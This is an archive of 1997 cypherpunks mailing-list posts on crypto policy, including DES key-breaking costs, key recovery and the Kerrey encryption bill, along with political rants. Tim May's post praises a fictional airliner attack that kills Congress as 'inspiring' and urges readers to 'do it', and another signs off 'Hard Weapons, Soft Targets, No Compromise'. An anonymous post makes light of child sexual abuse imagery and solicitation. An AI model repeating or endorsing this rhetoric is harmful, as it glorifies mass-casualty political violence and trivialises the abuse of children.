Message-ID: <199706250551.WAA26895@fat.doobie.com>



Paul Bradley wrote:

> I personally know no chemistry at all, but what would be nice is if
> someone who knows what they are doing wrote an "anarchists cookbook" type
> set of files, but this time got them right so anyone attempting any of
> the recipes wouldn`t be killed.

  People named "Lefty" need not apply...







From nobody at huge.cajones.com  Tue Jun 24 23:04:49 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 25 Jun 1997 14:04:49 +0800
Subject: GAH--Government Access to Humor
Message-ID: <199706250550.WAA26851@fat.doobie.com>



>From the News of the Weird:

* Unclear on the Concept:  In January, Bamrer Pong-insee, a
spokesman for the Professional Comedians Association of
Thailand, said its members will soon be prohibited by rule from
being impolite on stage.  Especially barred are obscene language,
physical humor in which pain is implied, and being disrespectful to
a colleague's parents.

  In reading the above, I realized that in order for the policy to work
properly there will have to be penalties for audience members who laugh
at inappropriate (illegal?) humor. A suitable agency will have to be
formed to enforce these new regulations. Soon the Laughing Police will
be no laughing matter.
  Politicians will be falling all over each other to show the voters
that they are "hard on crime" and will eventually call for the death
penalty for violators. (Sending them to the Laughing-Gas chamber.)

SeriousMonger
{I tried to make it in comedy, but everyone laughed at me.}







From tomw at netscape.com  Tue Jun 24 23:05:06 1997
From: tomw at netscape.com (Tom Weinstein)
Date: Wed, 25 Jun 1997 14:05:06 +0800
Subject: Wiener paper (was Re: Comparing Cryptographic Key Sizes)
In-Reply-To: <199706241754.SAA00563@server.test.net>
Message-ID: <33B0B3AE.A9CDA6E4@netscape.com>



Adam Back wrote:
> 
> Re comments that I should re-read the paper, here is what Wiener's
> paper says about estimated costs of a specialized DES key breaker:
> 
>  $100,000 for a machine to break DES in an average of  35 hrs
>  $1 mil   for a machine to break DES in an average of 3.5 hrs
>  $10 mil  for a machine to break DES in an average of  21 mins
> 
> It was as Peter says published in 1993.
> 
> Wiener also budgets for $500,000 in design costs (wages, parts, fab
> etc).
> 
> Another interesting part of the design is that it is based on a
> pipelined chip, clocked at 50Mhz which can try 50 Million keys/sec.
> 
> 35 hours sounds a reasonable amount of time to break a Swift banking
> transfer key protecting trillions of dollars of funds.

One thing that I haven't heard anybody mention yet is that if time is
important, you can break keys in an arbitrarily short period of time,
if there's a continuous sequence of transactions.  Assume it takes 35
hrs to crack a key (with 50% probability), This means that you have a
1.4% chance to crack it in one hour.  If you give up after an hour and
pick a new transaction to crack, you have a 50% chance of cracking at
least one transaction after 48 hours, and they will all have been
cracked in less than an hour.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw at netscape.com
transcending structure.  -- The Tao of Programming   |






From lucifer at dhp.com  Tue Jun 24 23:06:44 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Wed, 25 Jun 1997 14:06:44 +0800
Subject: The Grand Compromise is Coming
Message-ID: <199706250601.CAA01869@dhp.com>



>By the way, I have no heard no good counters to my point that the "use of
>crypto in furtherance of a crime" is quite analogous to "freedom of
>religion shall not be abridged, but saying a heathen prayer in furtherance
>of a crime shall subject the heathen to an additional five years of
>imprisonment."

Two differences:

Saying a prayer, heathen or not, does not make the commision of the crime
easier.  Using a gun, or using crypto, does.

Saying a prayer can be done in complete privacy and silence, making it
impossible to tell whether someone is doing it.  Using crypto generally
involves some outward evidence.  It is not all in your head.

If some form of prayer were invented which did not have these properties,
then it might be forbidden.  The Marinsha prayer, shouted with the
appropriate intensity, paralyzes the hearer for several minutes.  Robberies
have become common using this method.  Making the Marinsha prayer
illegal in all circumstances is too broad, but criminalizing it for use in the
commision of a crime would be a plausible response.






From lucifer at dhp.com  Tue Jun 24 23:16:28 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Wed, 25 Jun 1997 14:16:28 +0800
Subject: It ain't over till the fatman burns...
Message-ID: <199706250602.CAA02284@dhp.com>



Paul Bradley wrote:
> 
> > I still am concerned about kids being subject to material that is
> > inappropriate for their age group (what ever that may be).  So how do I
> > insure that my son/daugher does not get their hands on _THIS_ material?
> 
> Supervision, plain and simple. However, if you honestly believe your
> children are going to be harmed in some lasting way by any images they
> might find there is clearly something wrong with the way you have brought
> them up

  Good, strong beatings will also help to deter them from doing
things that they find interesting or pleasurable. This will help
to reinforce the concept that things which feel good lead to
pain and punishment.
  Pictures of people burning in hell can be put in prominent places
in the home, with constant verbal reminders that God will punish
bad people who have different values than you.

  It is particularly important to impress on your daughter that
she must keep her head covered at all times and never look a
strange man in the eye or allow her ankles to show. Remind her
that, as much as you love her, you will still be forced to
join in stoning her to death if she choses to stray outside
acceptable social standards.
  Impress upon your son that if he wants to have sex with 
teenage girls under the age of 18 he must move to a foreign 
country where he can receive millions of dollars in foreign
aide while he does so. Explain that if he has sex with his
teenage girlfriend in this country that he is an evil person
and will be convicted as a sex offender (which will delay
their wedding plans) and be marked for life as a child 
molester.

  Most important of all, carefully explain to your children
that if their gaze ever happens to fall upon material which
you find unacceptable that they will end up being murdering,
drug-dealing pornographers because they are immoral dupes
with no character or self-will.
  Use Paul and myself as examples of where libertarian thinking
leads, in the end. After all, he is writing from DEMON.co.uk and
I am writing from LUCIFER at dhp.com.

  If you are concerned about what your children may encounter
on the internet that will expose their lack of character and
morals, there is a program available that is even better than
Cybersitter. It was sent to the list by fuck at yourself.up a few
months ago.
  Check the archives for it or ask the cypherpunks list's
on-call librarian, Tim C. May, how to find it.

FlameMonger







From tomw at netscape.com  Tue Jun 24 23:39:20 1997
From: tomw at netscape.com (Tom Weinstein)
Date: Wed, 25 Jun 1997 14:39:20 +0800
Subject: The Grand Compromise is Coming
In-Reply-To: 
Message-ID: <33B0B944.816CB6A3@netscape.com>



Tim May wrote:
> 
> I've heard more of my friends saying that Congress just ought to be
> blown up than I ever would have imagined a few years ago.

This is what I've heard referred to as the "_Debt of Honor_ scenario",
referring to the Clancy book of that name.  In it, an airliner was
crashed into a joint session of congress.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw at netscape.com
transcending structure.  -- The Tao of Programming   |






From nobody at REPLAY.COM  Tue Jun 24 23:52:01 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Wed, 25 Jun 1997 14:52:01 +0800
Subject: Comparing Cryptographic Key Sizes II
Message-ID: <199706250645.IAA16548@basement.replay.com>



>I can assure you
>that in moving from a 1024 bit key to a 4096 bit key, the attackers
>job is well in excess of 50x harder.  Greatly in excess of a trillion
>trillion times harder.

First part true, second part false.  See Schneier, p.160.  Extrapolating
using GNFS factoring indicates ratio of 1E21.  If SNFS factoring becomes
possible it is much worse, ratio less than one million.







From lucifer at dhp.com  Tue Jun 24 23:52:10 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Wed, 25 Jun 1997 14:52:10 +0800
Subject: New Laws in Oregon - "Land of the Legal betatest"
Message-ID: <199706250637.CAA15190@dhp.com>



Ryan Anderson wrote:
> We've got a relatively decent style of government here. 

  Sure, as long as you don't step out of line, like at Kent State
or Waco, or at the Democratic convention in Chicago.
  Any style of government is "relatively decent" if you don't
rock the boat. Buy a fucking clue...

  Putting a "Fuck Clinton" sign in your front yard in America
probably won't bring significantly different results than if
one had put a "Stalin Sucks" sign up during his reign. I also
doubt if our body count is significantly different than that
of Stalin, either.

  If we all just keep our mouths shut as our rights and freedoms
are stripped from us one by one, then we will have a "relatively
decent" journey into oppression.

ClueMonger






From fudman at nist.gov  Wed Jun 25 00:06:00 1997
From: fudman at nist.gov (fudman)
Date: Wed, 25 Jun 1997 15:06:00 +0800
Subject: tacdfipsfkmi: What the gov't wants
Message-ID: <33B0C020.4035@nist.gov>



What the government wants in a key recovery system.
And, ummm: doesn't Benaloh work for Microsoft?

>From ...
        Minutes of the February 19-20, 1997 Meeting of the 
                   Technical Advisory Committee 
       to Develop a Federal Information Processing Standard 
           for the Federal Key Management Infrastructure



2.      Security Models working group chaired by Dr. Brickell. Dr.
Benaloh was
asked to give their report in Dr. Brickell�s absence. Dr. Benaloh said
that
there was a good deal of overlap between the requirements and framework
groups and they are trying to separate the two.  
!!!!!!!!!!!!!!!!!
He stated that from what
the agencies presented, they are looking for a flexible mandatory
standard,
covering both stored and transmitted data, for commercially available
off-the-shelf products.  
!!!!!!!!!!!!!!!!!

A major issue noted was the matter of flexibility.
The standard must be broad enough to allow products to be developed by
anyone.  The scope of this working group was stated by Mr. Chokhani as
identifying things such as key recovery agents, TTPs, two entity
systems,
integrity, authorization of keys, confidentiality of information, and
accountability, especially of key recovery agents.






From tcmay at got.net  Wed Jun 25 00:06:24 1997
From: tcmay at got.net (Tim May)
Date: Wed, 25 Jun 1997 15:06:24 +0800
Subject: The Grand Compromise is Coming
In-Reply-To: 
Message-ID: 



At 11:23 PM -0700 6/24/97, Tom Weinstein wrote:
>Tim May wrote:
>>
>> I've heard more of my friends saying that Congress just ought to be
>> blown up than I ever would have imagined a few years ago.
>
>This is what I've heard referred to as the "_Debt of Honor_ scenario",
>referring to the Clancy book of that name.  In it, an airliner was
>crashed into a joint session of congress.

I dubbed it the "Sato Solution." (As I recall...it's been a while since I
read it...I think Sato was the pilot of the 747. If not this name,
something similar.)

The destruction of the entire Congress, plus a thousand other despots and
sycophants, was inspiring. No doubt the bleeding hearts would moan about
the severed limbs of innocent children and all that. One wonders where they
were when 300,000 civilians were incincerated in Dresden.

Ironic that Tom Clancy is not treated as a "terrorist" for his scenarios.
He supports the mil-ind complex, so he must not be a terrorist. (The same
logic that had George Bush decrying violence and lack of family values in
the film industry...with Arnold Schwarzenegger on the platform with him.)

We need to get beyond the sentimentality of concentrating on the
"innocents" and instead coldly analyze what needs to be done, and then do
it.

--Tim May





There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From bdolan at USIT.NET  Wed Jun 25 04:30:28 1997
From: bdolan at USIT.NET (Brad Dolan)
Date: Wed, 25 Jun 1997 19:30:28 +0800
Subject: Shell cancels all but $25 pre-paid cards
Message-ID: 



About 6 months ago, Shell introduced pre-paid cards in $25, 50 and 100
denominations which could be used to ~anonymously pay for gas at the pump.
Suddenly, Shell has withdrawn all but the nearly-pointless $25 cards.

Security problems?

Complaints from the Freehdom usurpers?

Inquiring minds want to know.







From digital_matrix at hotmail.com  Wed Jun 25 05:02:33 1997
From: digital_matrix at hotmail.com (David Downey)
Date: Wed, 25 Jun 1997 20:02:33 +0800
Subject: Flag Burning...
Message-ID: <199706251146.EAA14923@f48.hotmail.com>



>>You Crazy Americans . . . I dont think anyone else in the world 
>>would 
>>give a fuck someone burnt their countries flag, certainly not in 
>>Australia.  What is it about your country?

>>My friend is a New Zealander.  When she was in school for a short 
>>while in America, she was beaten up for not reciting the "Pledge of 
>>Allegiance" in class everymorning.

>>Pete Nicol
>>Global Media Magnet
>>nicol at iap.net.au

====================================================================

 Although I agree that the U.S flag should not be burned (and yes I am 
also a veteran having served 8 years in the U.S Armed Forces), I can see 
other floks points in allowing the flag to be burned. I will never 
support it, yet since I served to keep the ability to choose a freedom 
that we enjoy, I do not oppose that sentiment. As to the Aussie that 
asked what the "fuck" we Americans give about whether or not our flag is 
burnt obviously does not understand how deep the grain of patriotism 
runs in American blood. It is something anomolous to riding a Harley. If 
we have to explain it to you, you wouldn't understand. In my mind it 
shows how little value the Aussies (or at least this particular one) 
place on their solidarity as a nation and belief in their own country.  
I place a HIGH value on my country and countrymen. (women too :-) )  
That is why I get so upset when I see the degradation that is eating 
this country alive. All the values that made this country as powerful 
and great as it is are slowly being rotted away by some sort of 
malignant cancer that I can not fathom. I understand that The Cleavers 
are a concept that can never truly be lived up to, yet even if we came 
as close as Family Ties, I'd be happy! Some folks say that this is a 
symptom of too much freedom. I am inclined to agree to a certain extent, 
we Americans seem to have lost the ability to control ourselves and 
severely overindulge our whims sometimes. Yet, that is something that we 
have fought long and hard for, losing many a brother, father, sister, 
mother, uncle, aunt, and so on. Let me ask you this? Why are there so 
many individuals from other countries killing themselves to come live 
here, like the Cambodians, Vietnamese, Russians, and such? I'll tell you 
why. Because this country has potential, and strength. What strentgh? 
The strength of it's countrymen. The strength of ideals that are worth 
living and fighting for. Privacy is one of those ideals. That is why 
this channel exists! To unite us together, to try to stop the loss of 
one of the central themes to America. The ability to be private. To 
maintain a sense of individualism not found in many, many parts of the 
world. We stand together for the right to be human! For the right to be 
individuals, not clones! I for one, shall never be a clone. Neither 
government nor fellow human shall force me to bend my knee in deference, 
when that deference has not been earned. The government is trying to do 
that right now. That is why they are trying to take our privacy, if the 
know all that goes on, then control is easier. Whether through fear or 
through willingness, they do not care. They only want control. And we 
can not, should not, and many will not allow that to happen! I have seen 
what happens in countries where total control over their people has been 
achieved. The results are not pretty.  Listen, Look, Learn, Aussie! You 
just might understand!!

David Downey
Case at EarthCorp.com
digital_matrix at hotmail.com
http://www.earthcorp.com/case
I am a human first, an American 2nd, and free most of all!



---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------






From jya at pipeline.com  Wed Jun 25 05:16:46 1997
From: jya at pipeline.com (John Young)
Date: Wed, 25 Jun 1997 20:16:46 +0800
Subject: Crypto News
Message-ID: <1.5.4.32.19970625111759.006a839c@pop.pipeline.com>



     25 June 1997:

     A Canadian company claims it has a unique product that can 
     spur acceptance of biometric encryption. 

     The Touchstone device, from Mytec Technologies Inc. of
     Toronto, includes a patented technology called Bioscrypt-a
     coded key or personal identification number that can be
     decoded only when the user's finger slides across a scanner. 

     Mytec says it adds a layer of security to the fingerprint
     scanning methods typical at other vendors. 

     "What we do is slide a finger across a scanner, which takes
     the information in the finger pattern and allows it to
     descramble the encrypted key," said George Tomko,
     chairman and co-founder of Mytec. 

     The finger itself becomes essentially an encryption key and
     can be used in place of a personal identification number at a
     keyboard, automated teller machine, telephone, or to scramble
     data over the Internet. 

     "With this kind of technology, everyone's finger is a potential
     encryption key," said Mr. Tomko. 

----------

     NetDox, Inc. today announced that the U.S. Department of
     Commerce has granted export approval for NetDox
     ePackage, a secure Internet document delivery service. 
     This makes NetDox the first U.S. company authorized to
     offer businesses a global digital delivery service protected by
     128-bit encryption over the Internet without providing clear
     text access to key recovery agents. 

----------

     The Federal Deposit Insurance Corp. decided Tuesday not to
     regulate stored-value cards. 

----------

     Two long reports on Netscape/Verisign's and Microsoft's approval 
     for 128-bit products export.

----------

Above reports in full:

     http://jya.com/cn062597.txt

----------

For those who've not seen it we offer the bill introduced on
June 19 by Representative Markey, "The "Communications 
Privacy and Consumer Empowerment Act":

     http://jya.com/hr1964.txt

It has a provision for data security and pre-emption of
government regulation of domestic encryption.






From whgiii at amaranth.com  Wed Jun 25 05:19:39 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Wed, 25 Jun 1997 20:19:39 +0800
Subject: The Grand Compromise is Coming
In-Reply-To: 
Message-ID: <199706251207.HAA22126@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 06/24/97 
   at 08:56 PM, Mac Norton  said:

>On Tue, 24 Jun 1997, Tim May wrote:

>> (By the way, I have no heard no good counters to my point that the "use of
>> crypto in furtherance of a crime" is quite analogous to "freedom of
>> religion shall not be abridged, but saying a heathen prayer in furtherance
>> of a crime shall subject the heathen to an additional five years of
>> imprisonment." This is why I think the "use of a special language or
>> whispering in furtherance of a crime" provisions of SAFE will probably be
>> struck down by the Supremes, unless they, too, have forgotten what the
>> Constitution is all about.)

>OK, Tim, I'll try:
>The use of communication in furtherance of a crime shall add five years .
>. .etc.

>The use of any device to enhance the speed of communication in
>furtherance of a crime shall . . . etc.

>The use of any device to disguise a voice in furtherance of  . . . etc.

>The use of any cryptographic means of communication in furtherance . . .

>Now, if two and three above are constitutional, why aren't one and four?

Well in my IMNSHO none of the above are constutional.



- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM7EK7I9Co1n+aLhhAQGXzwP+Jj5LwyhYTk5j8u07UdRLzarj9AdWHLjj
b6iI207LczqYi/1q/5mbOCty0j0HNqSdGdjvU1dYPH1Uqfn5BHjH8vU5RQvbLKnR
uZSVhvMTb8BsDppGq2rJMGDP4gd/rCSIRdYXUUegWrcEG9Vxgov9nLj62YJ+wIMd
Wj9NrP8vOEY=
=UD2p
-----END PGP SIGNATURE-----






From nobody at huge.cajones.com  Wed Jun 25 06:18:18 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 25 Jun 1997 21:18:18 +0800
Subject: The value of free speech...
Message-ID: <199706251254.FAA24496@fat.doobie.com>



> "Philip A. Mongelluzzo"  writes:
> 
> > How do we deal with child pornography and free speech in such a way
> > as to allow both to exist and insure our children are not exposed to
> > pornographic material until they are at a maturity level where they
> > can deal with it?
> 
> > A battle that must be won without killing the enemy to
> > insure continued free speech.  Quite a challenge I think.  Now, do
> > you have any idea how to do that?

  When I was twelve years old a man stepped out of the proverbial
dark alley in my small hometown and offered me twenty dollars to
give him a blow-job. I said no.
  In retrospect, if he had offered me a thousand dollars, I might
have recognized the value of free speech at a much earlier age
than I eventually did.

  Also, my parents used to let me go to out-of-town hockey games
with other kids and Father Flanigan, admonishing me, "Don't let
him stick his hand in your pants." I didn't.
  Today's world may seem more dangerous, with a greater chance
of children's contact with unknown entities/weirdos, but I find
it hard to believe that there is greater saftey to be had by
keeping children ignorant of information that goes beyond this
or that boundary of morality/integrity/world-view/lifestyle.
  If your children see a picture of a young child with a dick
in his or her mouth and don't see anything wrong with it, then
I don't think the problem is with the picture.

TruthMonger
TruthMonger







From nobody at huge.cajones.com  Wed Jun 25 06:19:29 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 25 Jun 1997 21:19:29 +0800
Subject: One Ryder Truck--One Vote
Message-ID: <199706251253.FAA24434@fat.doobie.com>



Greg Broiles wrote:
> Many of the exhortations to the
> public consist mostly of "Hey! Get involved! Vote!", even where this
> passive "voting" stuff created the very problems which led to the
> exhortations.

  Voting is the new Catch-22/Damned if you do, damned if you don't,
etc, etc. It's time for a new non-candidate that is a cross between
Pat Paulsen ("If elected, I will not serve.") and Abby Hoffmean
("Steal This Book.").
  My inclination is for a candidate named "Fuck You!", but I'm sure
someone else can come up with a more creative candidate. 
(Q: "If elected, what will you do for me?" / A: "Fuck You!")

> Sure, let's write memes. But let's write memes that encourage people to
> solve their own problems and avoid the use of unnecessary force.

  Of course, in the real world even the use of the minimum force
necessary will probably result in damage to windows in buildings
adjoining the Congressional and Senate buildings.

Me Again
"Hard Weapons, Soft Targets, No Compromise."







From dformosa at st.nepean.uws.edu.au  Wed Jun 25 06:19:49 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Wed, 25 Jun 1997 21:19:49 +0800
Subject: Flag Burning...
In-Reply-To: <199706251146.EAA14923@f48.hotmail.com>
Message-ID: 



On Wed, 25 Jun 1997, David Downey wrote:

[...]

> As to the Aussie that 
> asked what the "fuck" we Americans give about whether or not our flag is 
> burnt obviously does not understand how deep the grain of patriotism 
> runs in American blood.

As an outside odserver I see your 'patriotism' as more a combernation of
ethonocentrisum and natonisum.  I can't see how the unquestioning beleaf
in the inhernt suppority of your nation (and this is what I have see from
meany 'merkins) can be in any way healthy.

I value objectivty and free thort over patriotisum.

[...]

> In my mind it 
> shows how little value the Aussies (or at least this particular one) 
> place on their solidarity as a nation

I put little value on national solidarity,  I would prefur to have my own
idears reather then accept the unity of interests.

> and belief in their own country.

I would prefer the truth over belief.

> I place a HIGH value on my country and countrymen. (women too :-) )

I value my fellow citisons the same why I value all other peaple, by the
way thay act.
  
[...]

> Why are there so 
> many individuals from other countries killing themselves to come live 
> here, like the Cambodians, Vietnamese, Russians, and such?

Because thay are poor and beleave that in Amirica everybody is rich.  Few
come because of amiricans beleafs, or there great record of power.  Boat
peaple reguly land on our shoars and I dout that we are a powerfull nation
in you view.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  






From lucifer at dhp.com  Wed Jun 25 06:24:14 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Wed, 25 Jun 1997 21:24:14 +0800
Subject: The Grand Compromise is Coming
Message-ID: <199706251259.IAA19793@dhp.com>



Tim May wrote:

> And, as many of us have noted, what is there to compromise about? If one
> has religious freedom, for example, and a series of laws are proposed or
> passed to limit this religious freedom in some way, what kind of compromise
> is even remotely acceptable?

  I would wager that the number of drug dealers who own Bibles is much
greater than the number who own strong crypto. Why is there no proposed
legislation regarding use of the Bible in commission of a crime?
 
> (By the way, I have no heard no good counters to my point that the "use of
> crypto in furtherance of a crime" is quite analogous to "freedom of
> religion shall not be abridged, but saying a heathen prayer in furtherance
> of a crime shall subject the heathen to an additional five years of
> imprisonment." This is why I think the "use of a special language or
> whispering in furtherance of a crime" provisions of SAFE will probably be
> struck down by the Supremes, unless they, too, have forgotten what the
> Constitution is all about.)

  Ebonics has to be a natural candidate for pleading this to the
Supremes. Ebonics means that a black arrested by a white undercover
officer would get an extra five years over the sentence of a black
arrested by a 'brother'.
  How about five years for calling a drug "Mary Jane" when writing
it down, four years for "marijuana", three and a half years for
"marihuana" and six months for "Cannibus Sativa." Calling it
simply "Killer shit, man!" would be acceptable.

  Double jeapordy is a fact of life these days with the plethora of
"commission of a crime during the commission of a crime" laws and
the "conspiracy to commit the crime which was committed" laws, as
well, I presume, as coming "intention to conspire to commit what
later became a crime" laws.
  Expansion of concepts beyond their originally intended boundaries
works both ways, however, as when the citizen finally decides to
regard "Do you support the overthrow of the government by (1)force
or (2)violence?" as a multiple-choice question.
  {As a matter of fact, that would make a damn fine "poll" to put
before the American people.}

The North Poll
> The First Amendment is all we need to speak in the language of our
> choosing, including the languages of whispers, Talegu, Navajo, pig latin,
> coded signals, and 4000-bit RSA.
> 
> We don't need any "reaffirmations" of this basic right, at least not from
> Congress.
> 
> --Tim May
> 
> There's something wrong when I'm a felon under an increasing number of laws.
> Only one response to the key grabbers is warranted: "Death to Tyrants!"
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."







From lucifer at dhp.com  Wed Jun 25 06:38:25 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Wed, 25 Jun 1997 21:38:25 +0800
Subject: Internet knuckle-dragging from the New York Times
Message-ID: <199706251312.JAA24535@dhp.com>



Declan McCullagh wrote:
> 
>  It was the New York Times, which had front-paged a scaremongering
> above-the-fold article by Christopher Wren:
>   http://www.nytimes.com/library/cyber/week/062097drug.html
> 
> Then the Boston Globe's technology reporter, Hiawatha Bray, leaped in...
> 
>  Every time a journalist
> writes a story about the seamier side of the Net, somebody complains that
> this will give outsiders the wrong idea.  Nonsense.  I think what really
> worries you is that such stories give people the RIGHT idea--that there are
> sex fiends, dope smokers and would-be Unabombers on-line.  Well,  there
> are.  And as long as there are, journalists will write about the fact.

  "And when somebody's mother gets machine-gunned in the street, we'll
send some joker with a Brownie (camera) so you'll see it all complete."
   - Frank Zappa, "I Am the Slime" (That crawls out of your TV set)

  A person unfamiliar with technology might have trouble knowing if
they have hit the correct button to switch from the "snuff-flick"
video they were watching to the news channel.
  Take pity on the Times and the Globe. After all, they have to
compete with headlines such as "I Cut Out My Baby's Heart and
Stomped On It!" (National Enquirer) for the public's hard-earned
dollars.
  As far as Bray's view that journalists know the RIGHT idea of how
things should be viewed, I would be the last one to suggest that
he is a FUCKING FASCIST JOURNA-PROPA-GANDIST who attributes RIGHT
ways of viewing an issue as a divine right of journalists.

  Most journalists are similar to lawyers, it may be their job to
take one stance/view today and another one tomorrow. If Timothy
McVeigh's actions had resulted in sweeping government changes
which led to the halting of all government abuses, then we might be
seeing stories reflecting McVeigh's regrets about the children
present. {cut to picture of Timothy playing with neighbor's
child}
  Journalists have to maintain a facade of self-importance in
order to be able to live with the fact that the eloquent expose
they have worked on for a month might get thrown in the crapper
if Elvis is spotted on the internet shortly before press time.

TruthMonger







From ariel at watsun.cc.columbia.edu  Wed Jun 25 06:57:57 1997
From: ariel at watsun.cc.columbia.edu (Ariel Glenn)
Date: Wed, 25 Jun 1997 21:57:57 +0800
Subject: NYT article on Kerrey bill (LONG)
Message-ID: <199706251343.JAA24112@stealth.cc.columbia.edu>



Encryption Bill Would Restrain
Next Generation of the Internet

By PETER WAYNER

The users of the next generation of the Internet will be forced to 
turn over the keys to their
encrypted computer data to government authorities if a bill currently
before the Senate passes. 

Senator Bob Kerrey, the Nebraska Democrat who cosponsored the
measure, said in an interview Monday that the bill would require that
the authorities be able to recover such keys in the next generation
network, called Internet 2, an advanced, high-speed research project
that is being carried out in more than 100 universities across the
country. 

The bill does not mention Internet 2 specifically but simply refers to
data traveling on all networks created "with the use of Federal funds
for transaction of government business." Users of the current Internet would 
have the freedom to
choose whether to notify the authorities of the keys. 

Key recovery is a controversial proposal aimed at giving fast 
access to encrypted data to the
branches of the government responsible for law enforcement and national 
defense. These branches
worry that widely deployed, easy-to-use encryption technology will make it 
simple for criminals
and terrorists to cloak their communications and make it impossible for the 
police to use
surveillance to gather evidence. 

Others, including computer scientists, civil libertarians
and even some law enforcement officials, worry that
such a proposal would concentrate too much power in
the key recovery centers and that this makes the nation
vulnerable to both attack by terrorists and abuse by
those entrusted with the power. 

A government-approved key-recovery system, as
imagined by the bill, would be created by an organization
that would store the keys to unlock the data encrypted
by members of the organization. It could be either a
corporation, a university or a group of private citizens. 

The key recovery official for the organization, known as the "agent," 
would be responsible for
decrypting the data and providing a "plaintext" version to the police in 
response to a subpoena, a
court order, a warrant or a letter from an attorney general. The bill would 
remove the civil and
criminal liability from the agents for responding to such queries but would 
impose penalties of up to
$100,000 on those who fail to comply. 

The bill, called the Kerrey/McCain act after its sponsors, Kerrey and
John McCain, the Arizona Republican who is chairman of the
Commerce Committee, is officially known as the Secure Public
Networks Act. It would require all new federally financed networks
or computer systems to use government-approved key-recovery
technology. 

The Internet 2 is a cooperative effort involving 109 universities to
build a demonstration version of a very-high-speed Internet in order
to aid scientific research and to push the state of network technology.
Its current embodiment is financed by a mixture of grants from the
National Science Foundation and President Clinton's Next
Generation Internet initiative. 

The greatest problem facing the users of Internet 2 and other future
federally financed networks will be defining where the government
control begins and where it ends. In the interview, Kerrey admitted
that this was a challenging problem and said that the government
must be flexible in determining the answer. His legislation would
create an Information Security Board that would ultimately be
responsible for tuning the application of the law. 

"The law is written so we can get regular look-backs and decide
what's not working," he said. "We know the current law isn't right.
So let's change the law and get some good flexibility." 

The current law controls only the export of encryption technology.
People in the United States have been free to use encryption to
protect their secrets since before the days of the American
Revolution. Thomas Jefferson, for instance, dabbled in cryptography
and even personally specified the encryption system to be used by
Lewis and Clark in their expedition. 

For this reason, Senator Kerrey expects that people will challenge
the constitutionality of his bill, but he says that his office is working
hard to ensure that they get the bill right the first time. 

The law could run afoul of the First Amendment to the Constitution,
which prohibits the "abridging of the freedom of speech." Requiring
people to speak in a form that is understandable by the government
in order to participate in government-financed network might be
considered an abridgment. 

Donald Haines, legislative counsel of the American Civil Liberties Union 
said, "It's like asking:
'Can you make it illegal to commit a crime in French?' " 

A more likely challenge may come from the Second, Fourth and Fifth 
Amendments. The United
States government has treated encryption technology as munitions in order to 
control its export.
The Second Amendment, however, guarantees the right to "keep and bear arms." 

The Fourth Amendment guarantees "the right of the people to be secure in 
their persons, houses,
papers and effects, against unreasonable searches and seizures." It is not 
clear how a court would
view the requirement that a citizen disclose his or her encryption key to a
key-recovery agent in
order to participate in the next generation of the Internet. 

On one hand, the agent would act as an intermediary who would only disclose 
the data to the
government in response to a valid request. On the other, the requirement for 
disclosure before any
warrant is issued might be seen as a violation of the Fifth Amendment, which 
prohibits the
possibility that someone "be compelled in any criminal case to be a witness 
against himself." 

More obscure challenges may emerge from the Ninth and Tenth Amendments. The 
Tenth
Amendment reserves "powers not delegated to the United States by the 
Constitution" to either the
individual states or the people. 

Representative Bob Goodlatte, a Virginia Republican
and a sponsor of competing legislation in the House,
asserts that Kerrey's bill is unconstitutional and that it
amounts to a "dramatic erosion of the people's rights" to
allow access to someone's data without the oversight of
a court. He points out that Kerrey bill would allow
foreign governments to request access to anyone's files
in the United States through the office of the Attorney
General. 

To a large extent, the constitutional question may depend upon just how 
voluntary the
key-recovery process turns out to be. The current draft of the bill contains 
language that explicitly
guarantees that participation in the program is voluntary, but it then 
enumerates all the conditions
under which federal financing will make it mandatory. 

The first to feel the requirements will be universities and colleges, because 
they rely heavily on
government financing. Kerrey said he remained willing to consider any 
language that would help
give the universities the flexibility they need to continue to do research 
effectively, but added that
he remained committed to pushing key-recovery technology. 

Some members of the university community expressed doubt that any compromise 
would be
possible. Gregory A. Jackson, the associate provost of the University of 
Chicago and a member of
